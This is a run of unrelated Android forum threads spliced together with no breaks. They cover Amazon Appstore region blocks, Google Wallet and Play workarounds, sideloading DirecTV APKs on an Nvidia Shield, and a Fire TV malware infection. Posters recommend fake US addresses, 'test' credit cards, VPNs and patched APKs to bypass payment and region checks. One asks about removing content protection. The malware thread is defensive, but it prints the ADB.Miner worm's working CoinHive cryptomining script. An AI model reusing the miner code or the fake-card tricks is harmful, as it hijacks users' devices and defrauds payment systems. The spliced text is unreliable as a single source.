Hello Guys,
since Yesterday i have the Problem that i can´t downloading stuff from the Amazon Market. I has allready worked fine the last Day (i´m from germany).
But now if i clicking on "Get Free" the purchasing screen appears and the than i go back to "get free" but nothing happens.
Someone have the same issue?
I had some similar issues the other day. What worked for me was clearing cache and data on the appstore app.
Go to Settings>More>Applications and change the filter to "All Applications". Scroll down and select "Appstore". You may be able to just clear cache and force stop at this point but I cleared the data as well before stoping the app (you won't lose any apps).
Go back to the appstore and try to download again. Hope it works for ya.

No Luck with this.
Still the same issue, after clearing cache and data.
I have a similar issue.
Since yesterday I can't get the free apps anymore. When I click on it, it says purchasing, then goes back to "get free" button.
I was using a "test" credit card to get the apps because I'm not in the US.
Wonder if amazon fixed the leak or if its just a temporary glitch.
I did clear the appstore data and cache, and after that I got this problem. Don't know if it could be related or if it was just coincidence.
I cleared the appstore data and cache because an app got stuck in the installing process.
not working for me either since yesterday, i am also using a fake US address and test credit card. clearing data and cache did not help, but i was able to get free app of the day from the computer and then download on device.
I think it is a temporary glitch.
Ive had this happen on my phone and I use real info because I'm in the us... the only solution was time... after a couple days (once it was a week) it started working again

It's still working with my "test" account so far. I downloaded couple of games and apps for last 2 days.
I have the same problem since yesterday
Can someone explain how to get free app via computer?
Been having the same problem. Tried clearing cache and data, but it still doesn't work. Hope it's a temporary issue.

Use a VPN on the computer. I use Hotspot Shield. You can use various others available to trick it to think you are in the US.

Ok, i´m happy that i´m not the only one with this issue. So i think the only thing we can do is wait...
Work around for app downloading
I am having the same issue, can't install apps from the Amazon App Store BUT I found a work around.
Go to the Amazon app store on your computer, log in and then you can purchase or download apps and send them to your device.
Works great for me for the time being.
Good luck
Since my free month of Prime expired I haven't been able to get anything off Appstore, I'm not in the US though so I'll have to try via VPN.
Same problem with me, amazon may be checked user ip download app, so only us ip are acceptable. What a pity!

Same problem here, that's what I get from the site:
We could not process your order because of geographical restrictions on the product which you were attempting to purchase. Please refer to the terms of use for this product to determine the geographical restrictions.
We apologize for any inconvenience this may have caused you.
can we change somehow the ip?

From my side it still work when i place the order by the Amazon website.
If you get the message "We could not process your order because of geographical restrictions..." you have to use Unblock-US to get it work.
Was having same problem, tried faking gps location and using market enabler didn't work.
so i logged in here amazon(dot)com/mobile-apps/
after logging in i used a US proxy which i got from cool-proxy(dot)net/index.php?action=proxy-list - use sort by country.
after that i just clicked purchase (on free app) and it was able to install it from store.
Hope it helps
Amazon has fixed the vulnerability and I can no longer use it from India using the Fire, on trying to buy any free app it says Appstore is not available in your region, i had made an account with fake US address and a test credit card.
However I can still use VPN to log on the Amazon website and get all the free apps from the website and then download the apps to the device.
Running CM9 Beta 1, I can't recall if this has worked at all on the Betas and whether it worked on Alpha.
But, I do know that I have had it working at some point =]
Anyone else have this problem purchasing anything in the Play App?

Wait, does it show it at all? Mine shows it, I didn't purchase any app though, so I'm not sure if that's what you meant.
Yeah, it definitely shows, it just errors out after the purchase, while it tries to auth a payment.
So you get an e-mail that you purchased the app, even though it doesn't auth.
I think I may have found that it works on 3G, I didn't get an error message this time that the payment method errored out. However, I can't download the app yet =\
UPDATE: Hmmm, doesn't show it purchased on the Play website, but does on my phone. Will reboot
Well, perhaps this was a bunch of hullabaloo about nothing.
After
-Purchasing via Sprint over 3G
-Refunding (I was unable to download after purchasing via 3G)
-Purchasing via WiFi
All is well in the world.
That is all
Thanks!
I am unable to purchase also, tried it on 3g as well as wifi a no go. I get an error message that says Your order could not be processed Please try again. I've been trying for the past 3 days.
I guess I should note that i'm trying to use a credit card to make the purchase.

I'd try this:
click manage apps, scroll down to google play, clear the data.
If it still doesn't work. download another MTD ROM.
Boot to CWM and backup.
Flash the other ROM
Login to google. wait for it to sync.
open Google Play and try to do your purchase.
does it work then?
(you can use mybackup root or titanium backup to backup the apk and restore it to CM9, if it doesn't allow you to download it as purchased)
I've been searching for a way to get Google Wallet working on my 7 here in Australia and eventually came across a couple articles that did the trick for me, so I thought I'd share.
Firstly, you need to be rooted and you'll want the patched Wallet.apk from here, which was linked from this XDA thread. Then I used these instructions but with a slight modification. This is the procedure:
Take a backup of Wallet.apk, just in case. Use your favourite file manipukation app, such as Root Explorer, to copy Wallet.apk from /system/app to somewhere safe - /sdcard, for example.
Go into Settings --> Apps, find Wallet, clear cache, clear data and force stop. I like to be sure
Open up Titanium Backup, browse for Wallet, clear data, then uninstall.
Push the patched Wallet.apk you downloaded into /system/app. DO NOT try to install it, as it will fail.
Set permissions on this file to rw-r--r--
Reboot
Go back to Titanium Backup and defrost Wallet.
Open Wallet, register, claim $10, win.
Before anybody comments about unnecessary steps, I'm sure some of them are but this is what I did and it worked for me. I'm not sure if it is necessary but I already had a card registered in my Wallet account with a US address. That is a regular Aussie Visa card where I just set the address to be some random address in The Bronx (I also have a Google Voice number for the same area). I had done this to purchase a magazine from the Play store (over VPN).
Once you are set up, you will need to add a payment card - I added a Google Payment Card - then you will get a confirmation email and will have a Nexus 7 screen looking like the attached, with $10 courtesy of Google.
While researching this, I found several examples of people in Australia successfully using Nexus phones to pay for goods where Pay Pass / Pay Wave is used but I haven't tried it myself yet. Come on, it's 10pm Saturday night!

Think about it: You're credit card doesn't have 3G
I don't know all the technical details of how it works but I presume it is the same as a credit card process - i.e. the merchant's credit card machine verifies the card, then checks in with the bank. The analogy here would be the merchant's machine verifies the account by interrogating the NFC chip, the talks to Google to confirm payment is good.
did u get the 25$ credit as well?
You get $10
Does this work in the UK? I assume by Lennyuk's response that it does?
Thanks

In Wallett or just in the Play Store? They are 2 different things.
Google have clarified the no internet issue (I dont have the link on me, I think it was in their blog):
To make a payment, you DO NOT need an internet connection
To change between cards on the device, you DO need an internet connection.
To top up, you DO need an internet connection (I would imagine for accurate balance, you would as well)
So, you can use a Nexus 7 to pay without any issues and no internet connection

I tried Google Wallet with $10 credit paying to buy a cup of coffee here in Taiwan, but failed.
It does react in both ends when the NFC touched, but on the cashier side, it said "read card error"...
I will try next time with the credit card added to Google Wallet...

Google Wallet - $10
Google Play - $25
Very nice post! I just enabled the modaco modified wallet on my Galaxy Nexus and will test it tomorrow in MacDonald (italy). This has already been reported as working in a local blog @ android.hdblog.it
Thanx
(At the moment it's impossible to topup the Google Virtual Card from Italy)
I have seen people able to use the $10 on wallet in Australia but I don't know of anyone who has been able to apply money onto their own cards on the Wallet.
Has anyone been able to do this successfully yet?

No, that's a little different. To make Books and Magazines work on your tablet, use Titanium to defrost the apps. To get Music, you need to connect to a US VPN to sign up. Once you've signed up, it doesn't check again

Install Titanium Backup, list apps, tap on Google Play Books, hit Defrost. Repeat for the other apps
You have to do this after each reboot on stock ROM.
Hey guys. Does anyone have a working apk of the DirecTV app for the Nvidia Shield Android TV?
It looks like it has HDMI protection and just fails to stream. Has anyone been able to remove the protection on the .smali file that has it?
What is the exact error that you are receiving? I use to be able sideload a Direct TV apk for either the phone or the tablet but now they have stop working. When it worked fine it was amazing. I was able to watch my subscribed premiums. I think we need to incentivize developers to find a means of allowing functionality through our Nvidia Shield. I will pledge a 300 bounty for the first person that finds a work around. There are many gifted people on this forum and as a whole we can solve this issue.
Any luck with this?
Not sure if it's an HDMI block because if you notice certain channels do work (local NBC works for me as well as ESPN channels). I'm inclined to think the device isn't giving the proper location access to the app thus forcing the error for most channels. Just my 2 cents.
I experimented with a custom ROM yesterday and the DIRECTV app worked great on it. I don't think the app has an HDMI block, I think it's more that the stock rom restricts the necessary permissions or location requests.
What android tv box are you using? Are you using the latest directv version (phone or tablet)? What custom ROM you use?
I have a shield TV and I'm using zulu99's full android marshmellow firmware. There isn't any controller support so you'll have to pair with a mouse/keyboard but pretty much all apps work on it.
Hey guys, I am in the same situation. I have found two other threads on the issue. It is definitely not an HDMI issue or a WiFi issue. Someone has tried to fool the app on what device it's on and it worked but it was too much work. There must be a simpler way to achieve this.

The Direct TV app now is working I have the same issue but i think it was an ATT issue but its working as of 10/19/16
but not working on my note 4
DirecTV now
Hi, DirecTV Now app is not in my Google play store ! I'm using Nvidia shield TV. Any reason why it's not showing up ..
Thanks
I would love to use the DirecTV Now app on the nVidia Shield too. I extracted the APK from the app I installed on my Pixel XL, and loaded it on the Shield, but I get the following error:
failed to connect to aeg-umsgw.quickplay.com/23.101.201.149 (port443) after 10000ms
Man, life would be good if they'd release this app for the Shield.
Ok, so I was able to extract the Fire TV .apk file and sideload onto my Nvidia Shield TV. I was able to open it and navigate using the standard Shield remote. The only issue I am having is playing live TV content. Sometimes it loaded fine and other times it gives me an error and telling me to Refresh the content. Seems to be very buggy for Android TV. Here is a link to the extracted .apk file. I would like to see what you guys get trying this out.

I got mine working. I did a Sideload APK install from APK Mirror "DIRECTV for Tablets 4.7.015 by DIRECTV, LLC --- September 9, 2016" (select that version)
My problem was that I kept trying to use the Telephone version of this App. I did not know that DirecTv has a Tablet APK version as well that is very similar but has slight variations for older tablets. Let me know if yours works now. I don't need $300, but a $10 Starbucks gift card will do...
*** SINCE I am new to this forum I cant post the link *** Go to the APKMIRROR website and search "Directv" -> then select-> "DIRECTV for Tablets 4.7.015"

It seems there is some confusion and contusion between the DirecTV apps. The hot new toppic is about the DirecTV NOW service. I ran the search on APKmirror and it seems what you are talking about is the older app for DirecTV satellite service customers.
http://www.apkmirror.com/?s=Directv&post_type=app_release&searchtype=apk
I am referring to the DirecTV app that is for satellite customers, NOT the Now app.
I was able to download the tablet version of the DirecTV app and use it on my Nexus Player running stock 7.1.1 system, but you have to use a mouse; the app is designed for touch input and while you can sort of use the remote, there are a bunch of things you cannot press without using a mouse. Still hoping for some official support at.. using a mouse isn't ideal. Here is the latest apk file: updated 11/24/2016 v. 4.9.010
http://www.filedropper.com/dtv
Resurrecting this old thread. Do you still use the directv app on your shield and is it working ok? Do you have a more recent apk you can share? For anyone reading this I am looking for the DirecTV app NOT the DirecTV Now app. Thank you!

Verified Solution
First reported by @azureru as malware in this post.
azureru said:
I have the same app on my Android Stick and it kept coming back.
Reverse engineering it - that Test app is a variation of ADB.Miner worm that will use your device to open webview. It open single html that will mine monero using CoinHive
Code:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('eXnvyAQwXxGV80C4fGuiRiDZiDpDaSrf',{
threads:3,
throttle: 0.6
});
miner.start();
</script>
If you have uninstall the app on your Android and it kept coming back - make sure to disable adb on your Android and check for other Android devices on your network for this worm.

@innovaciones provides a number of solutions - including a verified working modded .apk of the malware which renders it harmless.
innovaciones said:
I can confirm that this "Test" app is actually a virus, I reverse engineering it too and when the Test apk auto starts it opens an script from a "run.html" file that have the same code that azureru posted, so this is definitely an ADB.Miner, how we got the virus? well I guess from sideloading sketchy apps, the main problem with this virus is that the Fire TV gets very slow because most of the performance is used for mining.
How we can get rid of this virus?
Well first, is there other Fire TVs or Android devices in your place? if the answer is yes then these devices could be infected too, this virus spreads using the ADB protocol so all the devices that have "ADB debugging" option enabled that are connected in your wifi network will get the virus, so is very important that you turn off "ADB debugging" in all your Android devices.
RESET TO FACTORY SETTINGS
There a several ways to get rid of this virus, the most effective way will be reseting to factory settings all your devices, and be careful next time what apk you install, and don't forget to turn off ADB debugging when not in use.
DELETE VIRUS FILES
Using ADB input these commands:
shell rm data/local/tmp/ufo.apk
shell rm data/local/tmp/lock.txt
shell rm data/local/tmp/smi
shell rm data/local/tmp/endat
shell rm data/local/tmp/nohup
uninstall com.google.time.timer
reboot
This are some of the virus files I found but I really don't know if deleting these files will be enough to disable the virus.
INSTALL MODDED VIRUS
If you don't want to reset to factory settings and all you want is to "turn off" the miner then you can install the attached APK that is a modded version from the original virus except the run.html is a blank page (without the minning script) and the Activities name from the AndroidManifest.xml were changed so it can't start now, so pretty much the virus will think it's working but it's not.
HIDE THE VIRUS
As recommended here you could try the hide command:
pm hide com.google.time.timer
Here is more information about these kind of virus, the test virus a variation from this:

the test app just has a White screen, and in the top left corner has a Green Android bot and the word test.. can get a pic if needed.
o i should say, ive googled and searched and searched for info on this and apparently im the only person in the world this is happening to
ok i looked at the test app in the firewall and it has more info, it says its from, com.google.time.timer , so what does that mean? is it a file from google that messed up ??
hmmm. Ok i installed nox 6 emulater and installed all the same apps and so far this com.google.time.timer does not exist ! thought maybe i could track down some info on this if i installed it on my pc, someone got any ideas here???
ok someone has to know something here, just got off the phone with amazon tech, they told me "test" keeps popping up because i have a trial amazon account and i have to pay for amazon service !! say what?? I dont even use the firestick for amazon service !! guess its time to root and take out the amazon services then?
well so far i made a new account with my other email and deregistered my firestick off my account and put it on the new account. Let yall know what happens.
so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.

No you don't have to pay to use the firestick - you probably signed up for free 30 day prime subscription - once that runs out it will automatically charge you for the subscription unless you cancel (if there is an available payment option on your account)
I assume all you had to do if it was prime membership was to cancel your subscription
Of course you don't have to opt in for this at all during registration
You can simply remove apps via adb
The firestick doesn't come with any Google apps (for obvious reasons) so anything else that is popping up is from something you have installed
well, after 2 days the test is popping up again ! =*( but anyway, I know i dont have any trials of anything especially prime, i had problems with Prime before and i make sure and double check i have nothing to do with prime. Amazon tech are the ones that told me if i pay 19.99 a month or 60 for 5 months it will stop ! So i have no idea what there talking about. I can only think to uninstall apps 1 by 1 and see if it stops or not. Im really getting to a loss on this and considering selling my set up on ebay and just buying one of the 100 dollar android boxes. =( thank you much for your reply !! All i can guess it is something installed, but wth is amazon talking about ? lol
talked to amazon, though my account said , you have no prime sub, sign up now! they said i had a prime sub trial ... canceled it and still get the pop up !

i signed up for an account on this message board just for this thread.
Same thing is happening to me!!
Its driving me bonkers. I did a factory reset and everything. Its an app called "test" that will re-install itself even after deletion. I've tried installing an antivirus/malware app on the firestick, but none of the apps work properly on it. How is there not a proper antivirus app for firestick yet? Seems odd.
Let's see if we can crack this thing together. I'll send you a PM as well.
Omg in not alone in the world !!!! Thank you!!!!!!!!!!
indeed ive tied many antivirus apps and one picked it up and said its a MED virus , deleted it and it reinstalled
I am also having this problem. Please let me know how you fix t. I have a prime account and Amazon is no help
I'm having the same issue. Asked on reddit and waiting on some answers.
Same here
Just started a few weeks ago. When did it start for you guys?
Same problem here, started few weeks ago, factory reset won't work, disabling ADB and untrusted sources neither, it keeps reinstalling. Maybe if it is a virus it can be hidden in the sd card?
Me too....
Both of my firesticks began having this issue recently. I also found the app called "test" that will not uninstall. It's driving me insane. It pauses video on Amazon prime every 10 minutes or so and completely exits streams if I'm using kodi. Has anyone found a solution yet?
I found a thread an Reddit but all the posts and responses had been deleted. :/
Same problem with my Firestick
I'm experiencing the exact same issue! Constant interruptions whatever I'm watching every 10 -20 mins. Blank white screen with little green android robot in upper left corner says "Test". This just recently (2-3 wks) started happening! I've been using firesticks since Nov/17. One of my firesticks recently crashed and Amazon is sending me a new one; can't wait to see if the new firestick has this "Test" crap on it too!? I'm not a Prime member, and have never accepted a trial membership either. I only use firestick for Kodi, Netflix, and Youtube videos. I don't use any of the Amazon $ services.
I'm so happy to find your post, thought I was the only one! Hopefully we can figure this out and get back to watching without interruptions! :fingers-crossed:
